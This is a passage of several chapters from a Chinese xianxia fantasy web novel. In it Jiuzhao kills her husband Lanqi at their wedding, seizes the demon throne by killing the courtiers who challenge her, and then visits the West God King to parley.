事态发展得措手不及,错愕过后,琼星飞身向两人扑来,口中发出尖啸。 一道黑影却如鬼魅般截断她的去路。 祝晏抬手,一击狠狠拍在她的额心。 实力的悬殊之大,促使琼星只来得及发出半声痛叫,便后退猛撞在塑像上,彻底昏死过去。 时间就此凝固。 兰祁机械低头,不可置信看向胸膛:“你要……杀我?” 一击得中,他却只是重伤,并未危急性命。 魔气紧急汇聚在后心处,一面为他修复创口,一面试图把体内的异物排挤出去。 九昭见状,干脆咬紧牙关狠命一推,将整把短刃捅了进去。 祝晏适时配合,释放九尾狐的秘宝捆住兰祁,使其悬浮原地动弹不得。 望着兰祁因疼痛和背叛而全然扭曲的面孔,九昭的眉眼平静得可怕: “你以为这世间的罪,都能用爱来消弭?” 她退后两步,摊开血流如注的手掌,吸收着兰祁伤口淌落的心头血。 “九昭,兰祁力量强大,纵使有狐族秘宝相助,也只能捆住他一时! “你一定要尽快杀了他!” 祝晏的提醒大声传来,他双手结印,操控着秘宝压制重伤的兰祁。 九昭并不回应,只加快吸收的速度——阵阵法光中,她陡然感觉到在吸取心头血的同时,自己体内的真血之力,也像是在被一双无形的大手迅速转移。 她勾起一抹略带讽刺的笑意。 被压制在丹田处的业火陡然释放,与真血交融,化作更强大的力量与兰祁来回拉锯。 “业火……” 这股气息太过熟悉,兰祁一语道破,“这是圣火坛中供奉的,属于阙昶的业火,你如何做到的?” 说着,他眸中的惊怒愈发鲜明:“难道你嫁给我,就是为了盗取业火?!” “我说并非如此,你相信吗?” 穹煌所言不错,每次使用业火,那种灼烧脉络神魂的痛楚的确非常人能够承受。 剧痛令九昭额头脖颈的青筋直迸。 她依然在笑,双眼沉如死水,“只是觉得,我过得不好,你们这些伤害我的人,又凭什么得意?” 从巫逐那头取回力量。 就要同时取回全部的喜怒哀乐。 她直觉自己如同一面空白的屏风,正在被记忆绣上无数的色彩图案。 只是每一色的形成,皆须以针扎入体换取。 “你恨我吗? “觉得我辜负了你珍贵的信任?” 凤火吸取着心头血精元。 九昭释放的另一道业火,更在吸取兰祁因爱成恨而生的怨意。 与圣火坛中肖似的荧光四散游弋,幻化成为一朵朵黑莲绽放在脚边背后。 她的瞳孔赤红如火:“从我的父亲,到你,你们被我视作世上唯二的家人,我倾尽全部真心,到头来,将我伤得最体无完肤的,也是你们——难道被背叛不应该是你的报应?” “若不是你的父神想将我利用至死,我们之间根本不会走到这步——” 兰祁张口,咳出一大片血。 血液飞溅在他长睫之上,糊住泰半视线。 他下意识低头,眨了眨眼睛,想要抖落血滴。 余光却落在指间的兽首权戒—— 理智稍稍回归少许。 有业火加持,想要转移九昭的力量,反败为胜的可能性大大降低。 其实,还有另一种办法。 瞻英殿内设有护持安宁的上古法阵。 而他手上的戒指是开启或关闭法阵的关键。 只要关闭法阵,外面等候的群臣们就会发现祝晏和九昭刺驾的一切。 狐族的秘宝大约还有几转呼吸便无法将他困住—— 逃出生天的计谋弹指思就,唯一的麻烦在于: 重伤状态下,他是否能够招架两人的攻击。 前些日子,为了解决九昭提出的麻烦。 他再次用伤害自己的方式,重创了巫劭,此刻新伤旧伤交叠在一起。 可就算他不能活。 至少也能拉着他们两个一同赴死。 “同归于尽”的念头甫一产生,兰祁的呼吸复而抖颤起来。 贯穿胸膛的短刃存在感强烈。 他分不清是伤口更痛,还是灵魂更痛些。 他只清楚。 到了彼此兵刃相接的地步。 自己的情感竟然还在反抗理智。 声嘶力竭宣告着不愿伤害九昭的心声。 “是吗?” 九昭无从得知他真实的想法。 初闻反驳,她微微偏头,带着洞悉人心的幽冷讥刻: “所以你报复了他什么?都说冤有头,债有主,可被利用、被欺骗、最后一无所有的只有我,他早已死去,魂归天外,根本不会因我的万劫不复而心痛半分! “兰祁,你说你爱我,这一生,你却只伤害了我。” 话到尽处,她轻嗤一声。 “何其可笑。” 188| 第188章 ◎“若有来生。”◎ 何其可笑。 文字本无重量, 经由讥诮的嘴唇吐出。 轻飘飘坠入耳际,却瞬间充斥千钧之力,狠狠凿进兰祁心底。 那些仇恨、痛苦、冷酷的算计, 杀与不杀的犹豫弹指湮灭。 纷至沓来的, 是许多被他尘封起来,发誓此生不再重启的记忆—— “祁儿,你马上就要有新的家人了,高兴吗? “她叫九昭, 是你的妹妹,更是你未来的妻子。” “父神,妻子是什么?” “便是我与你母神那般, 甘愿为彼此献出性命的关系。” …… 彼时,他何其年少。 由仙草幻化成人,却孑然于世,无所牵系。 养父养母虽亲近, 但过于紧密的二人世界, 很难容得下第三人的插足, 哪怕是子女。 得蒙神帝叮嘱,他面上不显。 却强烈期盼着九昭的到来。 将他生命空缺的部分填满, 如互有圆缺的玉珏成佩, 从此浑然一体。 他曾向天地默言成誓。 会用一生一世,将九昭守护。 可后来。 后来全变了。 在体内无端复苏的巫劭元神, 向他揭露了神帝的秘密。 并告诉他, 若要报复, 不如换个天地, 同三清天堂堂正正斗一场, 无需再仰人鼻息。 抗争需要实力。 纵然他天赋异禀, 勤加修行,依然拍马难及神帝。 巫劭提出与他合作。 而解封体内真血之力的代价,是重伤九昭,逼她吐出心口血。 所以,才有了长生台前,叫她颜面尽失,心如死灰的一场羞辱。 …… 人总是需要遗忘一些犯过的错误,才能照着定下的道路,继续义无反顾走下去。 当刻意遗忘的过错被揭开,扭曲的部分被既定的事实矫正。 兰祁的意识仿佛分裂成了黑白两个自我。 白色自我充满内疚地承认对于九昭的亏欠。 恨了这么多年,筹谋了这么多年。 到头来神帝意外死在二次使用迭命术引发的天谴之下,他的恶行也随之沉底,不被世人知晓。 唯有无辜亦是棋子的九昭,切切实实被他伤害到一无所有。 难道她不该恨他吗? 难道如今大权在握,稍微弥补一二,便能将从前一笔勾销吗? 不。 这么想毫无意义! 黑色的自我大声反驳。 亏欠他人,总比自己被亏欠,被利用,最后尸骨无存来得好! 只差最后一步,就能够攻下三清天实现心中宏愿,难道殒命于此真的甘心?! …… “啊啊啊啊!!!” 爱意与恶念在脑海激烈厮杀,原本集中于后心处,竭力修复伤口的魔气陡然开始暴动。 兰祁仰天嘶吼出声,束缚躯壳的狐族秘宝,没有坚持到祝晏预计的期限。 撕拉—— 它承受不住,节节开裂。 双臂最先得到自由的兰祁抬起手,对准法阵运转的核心,就要射出指间的权戒, 见状,祝晏立即改变施法方向,一道光华闪烁的屏障凭空出现在兰祁和法阵中间。 “九昭!” 他断然喝道,“兰祁的魔气动荡剧烈,没法再修复伤口,护住流逝的生机! “千万要拖到他死,不能让他关闭法阵!” 说话间,入魔的红意取代了他瞳眸的翠绿。 就算今日命丧当场,他也定要将兰祁杀死。 什么民族大义,什么合力一心,从来都是魔族没有的东西。 兰祁一死,业尊之位空悬,各方城主必会想方设法夺位。 九昭便可趁此机会回到三清天。 至于派出军队—— 焚业海内,拳头硬才有说话的底气。 谁又会真正愿意消耗自己的力量,去追击于王位无关紧要之人。 八条白尾的巨大狐狸虚像,于华冠坠地,黑发拂张的青年身后乍现。 就在他决定燃烧自己的神魂,扑上去给予兰祁搏命一击时。 九昭却握掌成拳,收起了掠夺生机的阴阳二火。 “九、九昭……?” 冲势微止,祝晏有些不敢相信地唤了她一声。 开败的黑莲一片一片,迅速零落在脚边。 九昭垂敛的眉眼倏忽透出彻骨疲倦。 她伸手探进前襟,从中取出一样环状事物,捻指聚起云团似的法光,盛着那东西送到兰祁眼前。 缠着红绸的连理枝手环,就这样映入被魔气充斥的兰祁眼帘。 他操控权戒的手指跟着顿了顿。 归于阒寂的空间,响起九昭释怀的声音: “兰祁,就算我拼尽全力杀了你,以满身伤痕的模样走出去,也难逃一死。 “不如,交给你做决定吧。 “现在关闭法阵,只要你一声令下,千军万马便会立刻涌入,将我挫骨扬灰。 “我这一生,零落潦倒。 “到如今,父母已逝,朋友不存,更无爱人陪伴在侧。 “死在这里,也不算遗憾。” “……” 不知为何,已是互为仇雠的当下,听到九昭的话,兰祁还是没有当机立断关闭阵法。 杀了她就可以吗? 就能够结束一切吗? 在梦寐以求的婚礼上,叫爱侣血溅当场。 九昭曾献出全部真心对待他。 可他,何尝不是,用一生来爱着她? 原本纯粹的爱,掺杂进仇恨、恶意、不甘、嫉妒、阴郁—— 最后面目全非地扎根在他的心脏。 生长在他的骨血里。 他能够杀了她活下去吗? 在无数个暗夜里,他历经业火灼烧,历经人心诡谲,历经煎熬困苦。 焚业海从无真正的日月,唯有怀念起她的笑颜,他的眸中才会照进零星光点。 杀掉九昭。 泯灭他生命里仅存的美好。 抑或放下全部,就此死去? 兰祁闭了闭眼,不曾被任何人发现的眷恋划过他的瞳孔。 一滴晶莹的泪淌落下来,又被魔气造成的罡气转瞬风干。 …… 祝晏错愕地望着继九昭之后,那萦绕在兰祁身上的狂暴力量如尘溃散。 他像是做出了决定,取下权戒,随手朝运转法阵的反方向扔去。 起到关键作用的信物被弃如敝履,而九昭送到他面前的不起眼手环,又被他珍而重之握在掌心。 “你竟然还留着。” 兰祁轻柔抚摸着手环弥合处,修补痕迹明显的针脚,轻声感叹道。 “我说过,我从未真正放下过你。” 九昭抬起脚,一步一步,徐徐走向他。 “我这一生,的确亏欠你太多。” 兰祁的目光一瞬不瞬,胶着在那缠着红绸的枯枝之上。 几息后,他自手腕摘下另一根,将两者叠放在掌心,仔细端详。 “你还记得吗?你将它赠予我,作为生辰礼物时,曾说过‘连理成环,生生相伴’。” 深埋进血肉的锋刃忽然动了动。 在九昭无声的指引下,从后如雨后青笋般露出短短一截。 锥心之痛,迫使兰祁发出沉闷的忍耐声。 可他看着手环的视线,温柔依旧:“今生,便让我带着它们走吧。 “若有来生……” 随着九昭的靠近,他的话突兀断在开头。 一只冰凉的手抚过他的颈项,缓慢而坚定地握在短刃的另一头。 兰祁恍若未觉。 他展开双臂,想要祈求最后一次拥抱,半抬的双眼温情眷眷,一如当年。 九昭释放业火。 以短刃为引,一点一点,注入到他的血肉中。 不祥的火焰,自青年后心绽放,先蔓延在华美的婚服,后攀附上温热的肌肤。 九昭空荡至今的心脏,难得多了点真切的情绪。 惆怅、茫然、胀痛…… 又如释重负。 “我们活这一世,爱得那么用力,恨也恨得那么用力。” 她望着青年被火焰吞噬,逐渐失去生机的面孔。 轻轻说着:“就别要来生了吧。” 189| 第189章 ◎“如今的我,再也不会怕冷了。”◎ 瞻英殿之内, 缄然耸立的巨大石像前。 业火将兰祁大半身躯吞噬,幽幽火光蔓延至他灰败无息的美人面孔。 紧接着,最先触及肌肤的顶端化作箭簇形状, 猛地刺入额心。 在锐不可挡的冲势之下, 长眠的巫劭元神弹指醒转。 他化作巨大凤凰,冲出兰祁识海,浑身上下被熊熊火焰覆盖,企图与追魂索命的业火抗衡。 但因前番遭兰祁暗算, 魂体受到重创,艰难对峙片刻后,黑蓝取代赤红, 不甘的凤唳声中,他被业火死死咬住,拉扯着拖入兰祁头颅,溃散成为虚无的灰烬, 经风一吹, 连半分痕迹都未留下。 阴寒的火浪扭曲了大殿的空气, 发出噼啪之声。 仿佛宣告着漫长爱恨情仇的终结。 九昭手畔,依偎相拥的身影不复, 唯余一片空旷与孤寂。 应当, 不会再有来世了吧? 她和兰祁,阴差阳错了一生。 彼此都付出过真挚的爱意, 却从未真正相爱过。 错的时间, 错的人, 错的缘分。 一切都是错的。 又何必再去期盼来世。 九昭心有惆怅, 来不及作出表情, 一股源自血脉深处的悸动, 倏尔将她慑住—— 另一半拥有者身死,凤凰真血终于摆脱束缚,合二为一。 “啊——!!!” 压抑不住的痛呼声撕裂九昭的喉咙。 一股难以言喻的磅礴力量,携带足以引燃万物的热意,悍然涌进她的心脏。 它唤醒了她体内的同源,两者相依相绕,瞬间交融。 起先,那感觉仿佛久旱多年后,重新流淌在大地的涓涓清溪。 带着舒缓的暖意,抚平血脉的每一处躁动。 但温情稍纵即逝。 全身游走一个周天后,清溪流速陡然加快,瞬息变作奔腾的怒海,咆哮着冲垮了河床。 四肢百骸,皮肉灵魂。 哪怕最细微的脉络末梢,都被象征着毁灭与新生的洪流狠狠贯//穿冲刷。 鲜血在血管内翻涌沸腾。 骨骼不堪承受,发出令人牙酸的呻/吟。 好似整个人都被投入了永不熄灭的丹炉,五脏六腑都在向外释放滚滚灼意。 九昭眼前的视野,被一片全然的赤红色占据。 她失去了听觉,耳中只剩下血液奔流时如同海啸的轰鸣。 业火侵蚀带来的蚀骨剧痛,在这股浩瀚无边的力量面前,竟显得如此渺小,几乎被完全忽略。 九昭下意识抬起手,五指虚握。 窗外冰冷的圆月仿佛触手可及,那高悬于空的星辰,亦在掌心蜷缩匍匐。 一种近乎亵渎的快慰,一种令灵魂都为之战栗的迷醉,如电流般窜过九昭的意志。 她从未刻意追求力量,甚至本能地抗拒它所带来的沉重宿命。 但此时此时,她不得不承认—— 这种掌握天地造化的快意,在灵魂平静的湖面投落一颗石子,荡起一丝短暂而汹涌的涟漪。 …… 指尖传来的冰冷触感,将九昭从沉浸的世界惊醒。 她低头一看,是祝晏捡起掉落在角落的权戒,将它递到了自己手边。 他无声立于咫尺,面对兰祁的离世,目光冷静而漠然。 是了。 就算有无尽的悲怨爱喜,此处也不是抒发之地。 尚有在外未知真相的魔臣需要处理。 九昭定了定心神。 “你且稍候出现,先将殿内的狼藉收拾干净。” 她的目光从被交战的法术割出缺口的塑像,转移到远处昏迷未醒的琼星身上。 祝晏会意颔首,指尖凝起杀招,转身朝那头走去。 意图不言而喻。 “不必杀了她,找个地方将她绑了便是。” 想起同对方在后宫中相处过的短暂光景,九昭出声阻止。 她信手摘下沉重的华冠,随后,最外层那件拖地三尺的瑰丽婚服亦被除去。 顿时,唯余雪白的中衣和衬裙裹覆着她的身体。 见状,祝晏难掩心疼。 他停下走向琼星的脚步,生生转过头来,解下自己的仪官外袍要为她披上。 九昭却再度摆手拒绝。 “如今的我,再也不会怕冷了。” 言罢,她将权戒戴在大拇指上。 朝着几丈外支撑法阵的核心,缓慢而坚定地行去。 190| 第190章 ◎“是臣服于我,还是就此灭亡?”◎ 兽首狰狞的权戒嵌进核心, 如金钟般笼罩整座瞻英殿的法阵终于关闭。 随着漆黑的魔光自上而下逐寸坍圮,殿前广场上肃立等候的群臣,映入九昭眼帘。 九昭阖了阖眼, 缓步走出。 精心妆饰, 绘有凤凰金翎的面孔,与通身素衣形成极致对比。 她站在瞻英殿的最高处,如同一面纯白的旗帜撕裂苍穹。 讶异过后,魔臣们开始交头接耳: “尊上呢?怎么是她独自出来?” “连两位仪官也不见了——” “究竟发生了什么事?” 那如有实质的目光化作万千箭矢射向九昭。 而她仅是不以为意地将戴有权戒的左手举起:“焚业海的规矩, 诛灭旧王者,即为新王。 “权戒在此。” 她的声音不大,却轻松盖过风声私语, 清晰传入众臣耳际,“不服者,尽可前来挑战。” 没有魔气的威压释放,没有力量的刻意彰显。 九昭漫不经心宣告着兰祁已死的结果。 她的身量对比个个人高马大的魔族, 显得那样纤弱娇小。 在场有不少人目睹过初释牢狱那日, 无咎用寒铁锁链桎梏着她, 走遍整个军营给予羞辱的场景。 光凭她,就能杀了法力滔天的业尊? 还是利用业尊的感情, 偷偷在背后用了什么诡计? 无数疑惑掠过众臣心底。 可既然旧王陨落, 某些顾忌便也不再是顾忌。 率先发难的,是与九昭结怨已久的毓灵。 她眼中浮现一丝刻骨杀意, 轻轻推了推身旁夫婿。 待后者弯腰凑近, 她将手拢在唇边, 耳语几句。 登时, 那高大魁梧的魔臣怒喝一声: “就凭你一仙族囚徒出身, 也想做焚业海的新王, 看我不将你就地正法!” 话音刚落,他华服下的肌肉块块隆起,身形直逼半座小山。 黑烟般的魔气萦绕在手,以迅雷不及掩耳之势冲向九昭! 九昭甚至未曾抬眼瞧他。 在魔臣变作兽爪的右手即将触及胸口衣衫之际,她慢吞吞竖起一根手指。 “簌——” 没有惊天动地的碰撞。 唯余一声轻响。 她的指尖弯曲,快速画了个无形的圆。 与此同时,魔臣脖颈周围,陡然出现一圈赤红火光。 九昭又做了个手指下勾的动作,那火光似捕获猎物的蟒蛇,精准缠绕魔臣颈项,弹指收紧! 魔臣低飞前冲的势头被迫停滞,脸庞的狰狞瞬间化作惊恐和痛苦。 他尚来不及弄清为何自身的魔气,在火光的威压下如此溃不成军——下一息,堪堪从喉咙中挤出半声惨叫,他的皮肉连同颈骨被一道巨力生生扭断,无头身躯喷出大蓬大蓬滚烫的鲜血。 在九昭意念操控下,魔臣的头颅被丢到毓灵面前。 他错愕的双眼中,生机尚未全然断绝。 眼珠吃力转向毓灵,试图开口再唤一声“夫人”,却轰然散为风逝的黑尘。 “啊!!!” 毓灵发出撕心裂肺的尖叫,面色惨白如纸。 滔天的恐惧淹没了她。 什么报仇雪恨,什么将九昭五马分尸,通通化作唯一一个念头—— 那就是,逃命! 求生的本能阻断了毓灵脑海内所有的情绪。 她立即从储物戒中掏出压箱底的保命符篆捏碎,试图逃离这血腥之地。 然而,她的身形刚刚变得透明,九昭就如鬼魅般毫无征兆地悬浮在她眼前: “你以为你逃得了吗?” 九昭徒手钻入守护毓灵的法光之内,浑然不顾肌肤被自动防卫的光束割得鲜血淋漓。 她抓着毓灵的衣襟,如拖死狗般将对方粗暴拽出法阵。 “九——” 相较不久前灰飞烟灭的魔臣,九昭连说出遗言的机会都没有留给毓灵。 她摁住毓灵的肩膀,强迫她跪倒在地,旋即并指为掌,带着摧山捣海的威势朝天灵盖拍下。 掌落,天地寂。 霸道的力量破体而入,一刹那摧毁了毓灵的神魂。 她的唇畔溢出古怪嗬嗬声,眼神涣散,身体如同被抽去骨骼的烂泥,向右软软栽倒下去。 九昭收回手,眼神平静无波: “我说过,你会为自己的所作所为付出代价。 “就一定会。” …… 象征夫妻恩爱,并蒂情长的喜庆装饰,仍悬挂在寂无宫的每个角落。 瞻英殿前的空旷广场上,却已然血流成河。 亲眼见证妹妹、妹夫的死亡,照羽再也克制不住悲愤,怒吼道:“九昭!!!” 他清楚地明白今日无论结果如何,九昭绝不会放过他们这些昔日与其为敌的背叛之人。 若横竖都是死,他情愿赔上性命,和她同归于尽! 心中的疯狂一旦被点燃,照羽再不计较后果。 他全身的魔气四散而出,甚至不惜燃烧神魂,凝作百丈楼高的法天象地。 “吼!!” 虽然愤怒,但照羽尚存一息理智。 他没有盲目近身对招,反而后撤几丈,躲在三头六臂的巨人法相后方,操纵其攻击九昭。 广场上魔气纵横,地动山摇。 法力稍弱的近卫贵族躲闪不及,被巨人一脚踩成了肉泥。 而这般酷烈攻势的中心,九昭的身影却似狂风暴雨里穿梭的海燕,始终游刃有余。 她躲闪的举动并不迅捷,但每次都能预判到巨人袭来的方向,挪腾闪避。 偶尔的转身回敬,又能抓住照羽力量流转的空隙,给予他的法相精确一击。 这场战斗,并非势均力敌。 是九昭在刻意地玩弄。 她在每一次的法术施展中,熟悉着源源不断的新生力量,也在每一次的扭头凝视中,欣赏着对手徒劳挣扎的姿态——照羽坚持得比前两位挑战者久得多,但这并非荣耀,而是更深刻的羞辱。 终于,即将烧干的神魂难以为继,照羽也意识到自己的拼命皆为徒劳。 他的瞳孔深处涌现彻骨的绝望。 他舍去肉/体,将身躯融入伤痕累累的法相,额头的识海处迸发刺目黑光。 纵使死无葬身之地。 也比满怀屈辱地消散要好! 见此情形,九昭停下掠地的脚步。 她轻轻啧了一声,神色带着几分难言的不耐。 “够了。” 她朱唇微启,吐出两个冰冷的字眼。 接着,她徐徐伸展两条手臂,来自幽冥的火焰于掌心汹涌而出—— 业火! 吞噬万物,永不熄灭的业火! 它汇聚成为咆哮着的长龙,龙吻一张,便将照羽额心的黑光轻而易举吞下。 吃掉无形的力量不够,它又大口一张,从头颅开始,一寸一寸,裹入无尽的阴寒之火中去。 转眼,似乎那位曾经风度翩翩,如今状若疯魔的原东神王从未来过世上。 他是堆砌在盛夏烈日的雪偶。 徒经暴晒,水汽蒸发,一丝痕迹都没留下。 然而,这一切仅仅只是开始。 吞噬了照羽的业火并未停歇,它遵循九昭的意志,朝着四面八方疯狂蔓延。 绵亘不断的火墙拔地而起,将广场上所有惊魂未定的魔臣们围簇起来。 纵使焚业海常年冰冷,可这座业火变作的囚牢散发的寒意,却透过衣衫,渗进神魂。 真的是业火。 是千万年来,唯有初代业尊阙昶一人掌握的业火。 王都得蒙祖神庇佑,向来不被冒出地缝的幽冥之火侵扰。 这一瞬,那些被遗忘的恐怖记忆,伴随着身躯的颤栗,却再度鲜明复苏。 “是臣服于我? “还是就此灭亡?” 浮在火焰的尽头,九昭微微垂首,俯视众生。 喜怒不辨地问道。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 190-200 191| 第191章 ◎“叫这世间,再无仙魔之分!”◎ 业火构建的囚牢内, 万籁俱寂。 唯有阴冷的火舌,在“无意”舔到某个倒霉蛋的护体法光时,会发出腐化侵蚀的滋滋声。 正如恐惧桎梏了逃跑的脚步一般, 那自诩贵族, 高于贱民的骄傲,也扼住了群臣的喉舌。 投降? 臣服? 求饶? 望着徐缓缩小的火焰包围圈,所有人牙关切切,却任凭谁也不想做第一个卑躬屈膝的懦夫。 就在九昭思忖着要不要再挑出几人杀鸡儆猴之际, 一道颀长身影从瞻英殿内走出。 他穿过九昭脚下唯一的缺口,快步行至九尾狐族所属的队列前端,而后站住不动。 ——竟是祝晏。 九昭既胜出, 魔臣们便做好了两位仪官随同兰祁一起死去的打算。 冷不丁瞧见青年毫发无损地立于人前,周围目光几度变幻。 他却视若无睹地转过身来,向前两步,倏忽做出一个叫无数人为之震愕的举动: “臣, 九尾狐族首领, 焚业海第三城主, 祝晏,恭迎新王。 “尊上之威, 山河伏倒, 日月同辉!” 繁复的仪官礼袍被撩起,他面带无比郑重的表情, 膝盖缓缓跪地。 接着, 是交叠于胸膛前的双臂。 最后, 是与冰冷砖面重重相叩的额头—— 五体投地的姿势, 象征着魔族拜见主上的最高礼节。 祝晏这一跪, 若巨石投入深潭, 瞬间激起万重浪。 原先还眉目凝肃的城主贵族们,面孔顿时闪过几丝动摇。 而九尾狐族这头,变化更加直观。 首领都如此了,他们坚持到底又是何必! 万年以来,仙族和魔族之间的频繁倒戈,促使九尾狐族的底线一降再降。 起先,是几位亲近祝晏的心腹。 不多时,绝大多数狐族都朝着九昭的方向伏身跪拜。 匍匐的众狐中,只剩下卸任族长,但仍然地位崇高的崇黎,以及另两位长老。 崇黎不可置信地瞪大眼睛,发出厉喝:“阿晏,你! “你忘了你母亲被嗣辰重伤早逝的仇了吗——怎么可以对他的女儿俯首称臣?!” 闻言,九昭嗤笑道:“怎么,觉得祝晏倒戈于我,有失父母恩义吗?” 她顿了顿,目光居高临下扫过崇黎因受到蒙骗而怒不可遏的脸,语气氤出一丝玩味,“你别忘了,若你能够保持忠诚,当年不随巫劭堕天,祝晏也不会被半仙半魔的缺陷影响,生下来便患有弱症—— “你对不起我父神在前,又辜负神王妃烈晴在后。 “这么多年,还要把自己的仇恨加诸在祝晏身上,逼着他隐忍万年,深受孟楚迫害。 “每一日都如在地狱,过得血泪交织、战战兢兢—— “都说‘父慈子孝’,父若不慈,子又为何要孝?” 九昭的反问,如同锋利的匕首,一下子扎穿了崇黎内心最薄弱的部分——父子间一直以来刻意回避的问题,被外人毫不留情揭开,他晃了晃身子,竭力维持尊严,奈何半个字都反驳不出。 九昭懒得再同他废话。 两指半抬,魔气化作的光索,将负隅顽抗的三人手脚紧缚。 随着扑通一声,几息前还衣冠济济的重臣贵族狼狈倒下,如同条肉虫子般在地上挣扎蠕动。 …… 阴沉的火焰,将半边云层映得微微发蓝。 说不清多久过去。 像是一瞬,又仿佛万年。 九昭维持着平静到泰然的模样,在又烧死了个心理防线崩溃,企图从缺口逃窜出去的魔族之后,将头转向几刻前便一言不发的无咎所在,笑盈盈问道:“那么,凤凰族呢——归不归顺于孤?” 对着那张,晦暗天色之下,依然明媚生光的面孔。 无咎发觉,内心烦憎仇视的情绪,从不知何时起发生了微妙的转变。 酒席被打翻,身为凤凰族长的骄傲被摧折。 缀着明珠的鞋履,将他的衣袖踩住,来回碾压时,九昭便成为了此后夜夜出现的噩梦。 而后来的后来。 意气风发的神姬不再。 堪堪从囚牢解脱的人儿,顶着散乱长发,当着他的面,无所谓地宽衣解带—— 单薄衣衫下勾勒显形的婀娜曲线,与撩开过长发帘时,一双望过来的,红白分明的眼。 当极端的美丽与潦倒、落魄、易碎掺杂在一起,惊魂的噩梦无端多出几分靡丽香艳。 鬼使神差的,他停止了非我族类,其心必异的劝诫。 接下了兰祁颁布的,化身护卫,陪她出游的旨意。 到后来,还将凤凰女君的位置还给了她。 今时今日,兰祁身死,报仇的期许覆灭,他该怨吗? 若要怨,又该怨谁? 无人能够给予无咎答案。 抿唇捱过漫长的沉默,他咬牙道:“我的身后,皆是你的同族,你也敢——” 九昭没有允许他把话说完。 火刃一闪而过,齐肘而断的右臂和剧痛分别涌入青年的眼帘和意志。 “!!” 无咎捂着伤口,踉跄后退几步,忍得额头青筋直迸,才没有痛叫出声。 仙魔皆有断肢再生的本领。 可被业火灼伤,漆黑一片的断处,向他宣告着终生残疾的事实。 他两眼发黑,痛楚酿造的万般滋味萦绕心头。 然而尚未做出任何反应,业火又再度如毒蛇般卷至,瞬间将他身畔的左右长老吞噬。 贵族死前的尖叫,和平民别无二致。 一样的惊恐、绝望、尖利。 在被死亡笼罩的广场之上,已无人能够算清这是第几条被九昭夺去的性命。 无咎冷汗涔涔地想起: 那二位长老,曾在圣火坛前,伙同毓灵和照羽,向九昭发难。 这么多年过去。 她的身份变了。 容颜变了。 连种族都变了。 唯一不变的,是睚眦必报的个性。 “孤的耐心虽好,却也是有限度的。” 九昭翘起指尖,轻轻吹去被风刮到肌肤上的身魂灰烬。 她从善如流地以“孤”自称,语调极其婉转轻柔,态度却冷酷得像是一位暴君: “再问一遍——凤凰族,臣服、亦或者死?” …… 九昭对待同族一视同仁的无情,终于成为了压垮众臣心智的最后一根稻草。 魔族,骨子里印刻着对于绝对力量的敬畏与臣服。 尊严、荣辱,在生存的本能面前根本不值一提。 陆陆续续有魔族跪了下去。 从慢到快,从快到急。 将近结尾时,几个动作磨蹭者均被旋即而至的业火焚尽。 广场上,除九昭外,再未有一人站立。 她的视线自面如死灰的无咎身上移开,徐徐扫过每一位降心俯首的臣子。 四面八方高耸的火墙,亦在她的逡巡之下,渐次收稍,化作朵朵起伏摇曳的黑蓝色莲花。 风在空旷中呼啸穿行,祈愿夫妻恩爱的礼乐,已被恭贺新王登基的赞歌取代。 九昭忽然不再看任何一人。 她的视线穿透寂无宫高耸入云的玄黑尖顶,直直投向九天之上那缥缈无踪的仙阙。 声音决绝,响彻天地: “自今日始,孤将继承兰祁之志—— “叫这世间,再无仙魔之分!” 192| 第192章 ◎“孤有办法,复活瀛罗。”◎ 继任为焚业海新王不到一月, 九昭集结大军,再度挥师三清天。 数以十万计的魔兵在毗邻西海的南陵驻扎,若摧城之云, 势不可挡。 九昭却没有下令强攻, 反在某个无人知晓的深夜,孤身造访西神王宫。 隐匿魔息的漆黑兜帽摘下,露出一张平静无波的面容。 对上暌违千年,看上去老了十岁不止的西神王流戈, 九昭轻轻颔首:“好久不见。” “殿、业尊亲临,倒是好胆魄。” 浓烈的警惕和一丝微不可闻的仇视,萦绕在西神王瞳孔中, 他嘲讽地弯起唇角,“是笃定本王不会对你怎么样——还是全然瞧不上如今仙材凋零的三清天?” 九昭对他的挖苦不以为意: “登天阶被斩断,天仙上神凋零,现下三清天实力如何, 你比孤更清楚。” 闻听九昭杀死兰祁, 取而代之的荒谬感, 终于在她自称为“孤”时幻化为真。 望着九昭乌润依旧,却不复神光奕奕的眼眸, 西神王无端想起, 她贵为神姬时明媚张扬,不知世事险恶的模样, 以及始终含笑守护在她身旁的瀛罗。 若今日瀛阿罗还活着。 西海又该是何等情状—— 不。 以阿罗倾注在她身上的感情之重。 早在当年众神以弑父罪名, 对她降下惩罚时, 阿罗大约便会愤起叛天, 拥护她自立为王。 九昭的存在, 仿佛一把开启过去的钥匙。 不见还好。 此刻相见, 诸多痛彻心扉的往事在西神王眼前一一浮现。 他情不自禁追忆起瀛罗的音容笑貌,却不愿被九昭瞧出身为失子之父的悲哀软弱。 遂极力克制住如潮起伏的心绪,垂眼冷淡发问:“业尊心既然知肚明,为何不直接挥军踏平紫微宫中廷?深更半夜,非要见本王,到底所为何事?” 九昭并未马上回答。 她信手一挥,强大的魔气霍然凝聚成一面屏障,四面八方蔓延开来。 顺带将因担忧西神王安危,隐身埋伏在暗处的鲛人族亲卫映照得无所遁形。 此举更如同一计下马威。 目光掠过屏障外亲卫们大惊失色的面孔,再次对上立在视线尽头,神容冷凝的西神王,九昭淡声道:“孤接下来要说的事,还是越少人知晓约好。” 屏障有隔绝声息的作用。 除西神王微微加重的呼吸之外,旷寂的大殿唯剩灯花舐过融化油脂的爆裂声。 要有足够震慑仙族的力量,就势必要与灵台内的巫逐融为一体。 而融为一体,则意味着心如止水的状态难以为继。 抬起脚步,在这座处处留有熟悉痕迹的殿宇缓行几息。九昭的语调透出一缕刺穿强硬伪装的苍凉:“孤在这天地间,已是孤家寡人。血脉断绝,亲朋尽殁……他们负了孤,最终也为孤所害。” 明处的言语,被含糊不清的“他们”所指代。 九昭的脑海,却实打实闪过具象的面孔。 话的尾梢,她的停顿格外漫长。 良久,方才回归无懈可击的姿态,轻声道:“但真正论起来,孤对不起的,唯有瀛罗。” 当内心的思念,经由另一人、另一张嘴揭破。 短暂的思绪空白过后,西神王倏忽从王椅上站起。 掩在袖中的指骨被捏得咔咔作响,站立的同时,他与九昭对视的双眼恨意再难掩饰:“你说你对不起阿罗,可西海作为一清天的最后防线,一旦与魔军开战,势必要死伤无数瀛罗的同族! “你若真对阿罗有愧,又怎么放任军队,侵占屠戮阿罗的故土?!” 曾经的四神王中,东神王寡言隐忍,北神王长袖善舞,南神王凌厉妩媚。 唯有西神王效仿芸生世人族做派,自诩为风流名士。 